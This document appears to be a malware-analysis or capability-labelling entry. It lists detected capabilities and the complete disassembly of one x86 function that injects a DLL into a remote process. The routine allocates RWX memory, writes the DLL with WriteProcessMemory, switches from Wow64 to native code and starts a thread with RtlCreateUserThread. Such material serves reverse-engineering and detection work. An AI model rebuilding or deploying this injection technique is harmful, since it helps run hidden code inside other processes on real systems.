Function at 0x100014e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows
Link many functions at runtime
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x68
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x64], eax
mov eax, dword [ebp + 8]
push esi
push edi
push str.IsWow64Process
mov esi, ecx
mov dword [esp + 0x1c], eax
push str.kernel32
mov edi, edx
mov dword [esp + 0x18], esi
mov byte [esp + 0x17], 0
mov dword [esp + 0x30], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x10001532
lea esi, [eax + 0x20]
jmp 0x10001554
lea ecx, [esp + 0x28]
push ecx
push esi
call eax
test eax, eax
je 0x10001934
cmp dword [esp + 0x28], 0
mov esi, 0x40
mov eax, 0x20
cmovne esi, eax
mov eax, 0x5a4d
cmp word [edi], ax
je 0x10001575
push str.::Debug::_____Invalid_DOS_header_n
call fcn.10001010
add esp, 4
push str.::Debug::_DLL_does_not_have_a_valid_PE_header_n
jmp 0x10001939
mov ecx, dword [edi + 0x3c]
add ecx, edi
cmp ecx, edi
jb 0x10001920
mov eax, dword [esp + 0x18]
add eax, 0xffffff08
add eax, edi
cmp ecx, eax
ja 0x10001920
cmp dword [ecx], 0x4550
jne 0x10001920
test ecx, ecx
je 0x1000192d
movzx eax, word [ecx + 4]
mov ecx, 0x14c
cmp ax, cx
jne 0x100015bc
cmp esi, 0x20
jne 0x100015cb
mov ecx, 0x8664
cmp ax, cx
jne 0x100015d5
cmp esi, 0x40
je 0x100015d5
push str.::Debug::_Inject_process_arch_does_not_match_DLL_n
jmp 0x10001939
cmp esi, 0x20
mov dword [esp + 0x50], 0
mov ecx, 0x535
mov eax, 0x478
cmovne eax, ecx
xorps xmm0, xmm0
mov dword [esp + 0x28], eax
mov ecx, 0x1001a3e0
mov eax, str._UVATAUAVH
movaps xmmword [esp + 0x30], xmm0
cmove eax, ecx
movaps xmmword [esp + 0x40], xmm0
mov dword [esp + 0x20], eax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ax, word [esp + 0x30]
cmp ax, 9
jne 0x1000162c
mov edx, 0x40
jmp 0x10001639
xor edx, edx
test ax, ax
mov eax, 0x20
cmove edx, eax
mov ecx, str.Wow64
mov dword [esp + 0x14], 0x10019b4c
mov eax, ecx
cmp esi, 0x20
cmovne eax, dword [esp + 0x14]
cmp edx, 0x20
push eax
cmovne ecx, dword [esp + 0x18]
push ecx
push str.::Debug::____Injecting__s_____s_n
call fcn.10001010
mov eax, dword [esp + 0x34]
add esp, 0xc
add eax, dword [esp + 0x18]
mov dword [esp + 0x14], eax
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
jne 0x1000168d
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.VirtualAllocEx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10001919
push 0x40
push 0x3000
push dword [esp + 0x1c]
push 0
push dword [esp + 0x20]
call eax
mov dword [esp + 0x1c], eax
test eax, eax
je 0x10001919
push eax
push dword [esp + 0x18]
push str.::Debug::____Writing__lu_bytes_into_process_at__p_n
call fcn.10001010
add esp, 0xc
mov dword [esp + 0x2c], 0
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
jne 0x100016f4
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.WriteProcessMemory
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10001912
lea ecx, [esp + 0x2c]
push ecx
push dword [esp + 0x2c]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x20]
call eax
test eax, eax
je 0x10001912
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
jne 0x10001741
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.WriteProcessMemory
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
test ecx, ecx
je 0x10001912
lea eax, [esp + 0x2c]
push eax
push dword [esp + 0x1c]
mov eax, dword [esp + 0x30]
push edi
mov edi, dword [esp + 0x28]
add eax, edi
push eax
push dword [esp + 0x20]
call ecx
test eax, eax
je 0x10001912
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
lea eax, [esp + 0x30]
movaps xmmword [esp + 0x30], xmm0
push eax
movaps xmmword [esp + 0x44], xmm0
mov dword [esp + 0x54], 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov cx, word [esp + 0x30]
cmp cx, 9
jne 0x100017b4
mov eax, 0x40
jmp 0x100017c1
xor eax, eax
test cx, cx
mov ecx, 0x20
cmove eax, ecx
cmp eax, 0x40
je 0x1000187c
xorps xmm0, xmm0
mov dword [esp + 0x50], 0
lea eax, [esp + 0x30]
movaps xmmword [esp + 0x30], xmm0
push eax
movaps xmmword [esp + 0x44], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ax, word [esp + 0x30]
cmp ax, 9
jne 0x100017fc
mov eax, 0x40
jmp 0x10001806
test ax, ax
jne 0x1000180a
mov eax, 0x20
cmp eax, esi
je 0x1000187c
push str.::Debug::_Switching_from_Wow64____native_64_to_run_RtlCreateUserThread_n
call fcn.10001010
add esp, 4
mov eax, edi
cdq
xorps xmm0, xmm0
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x10]
push 0x40
push 0x3000
mov dword [esp + 0x3c], edx
cdq
push 0x142
push 0
movlpd qword [esp + 0x50], xmm0
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov ecx, 0x50
mov esi, 0x1001a298
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x30]
push ecx
push eax
movsw word es:[edi], word [esi]
call fcn.10001470
mov ecx, dword [esp + 0x48]
add esp, 8
mov eax, ecx
or eax, dword [esp + 0x44]
je 0x100018bb
mov dword [esp + 0x24], ecx
jmp 0x100018bb
push str.RtlCreateUserThread
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x100018a1
push str.::Debug::_____Failed_to_resolve_ntdll_RtlCreateUserThread_n
jmp 0x10001939
push 0
lea ecx, [esp + 0x28]
push ecx
push 0
push edi
push 0
push 0
push 0
push 0
push 0
push dword [esp + 0x34]
call eax
cmp dword [esp + 0x24], 0
je 0x100018e9
push str.::Debug::____Injection_::_Success_n
mov byte [esp + 0x13], 1
call fcn.10001010
mov al, byte [esp + 0x13]
add esp, 4
pop edi
pop esi
mov ecx, dword [esp + 0x64]
xor ecx, esp
call fcn.10001b5d
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.::Debug::____Injection_::_Failed___d__n
call fcn.10001010
mov al, byte [esp + 0x17]
add esp, 8
pop edi
pop esi
mov ecx, dword [esp + 0x64]
xor ecx, esp
call fcn.10001b5d
mov esp, ebp
pop ebp
ret
push str.::Debug::_____Failed_to_write_remote_process_memory_n
jmp 0x10001939
push str.::Debug::_____Failed_to_allocate_remote_memory_n
jmp 0x10001939
push str.::Debug::_____Invalid_NT_header_n
call fcn.10001010
add esp, 4
push str.::Debug::_DLL_does_not_have_a_valid_PE_header_n
jmp 0x10001939
push str.::Debug::_____Failed_to_get_process_architecture_n
call fcn.10001010
mov ecx, dword [esp + 0x70]
add esp, 4
xor al, al
pop edi
pop esi
xor ecx, esp
call fcn.10001b5d
mov esp, ebp
pop ebp
ret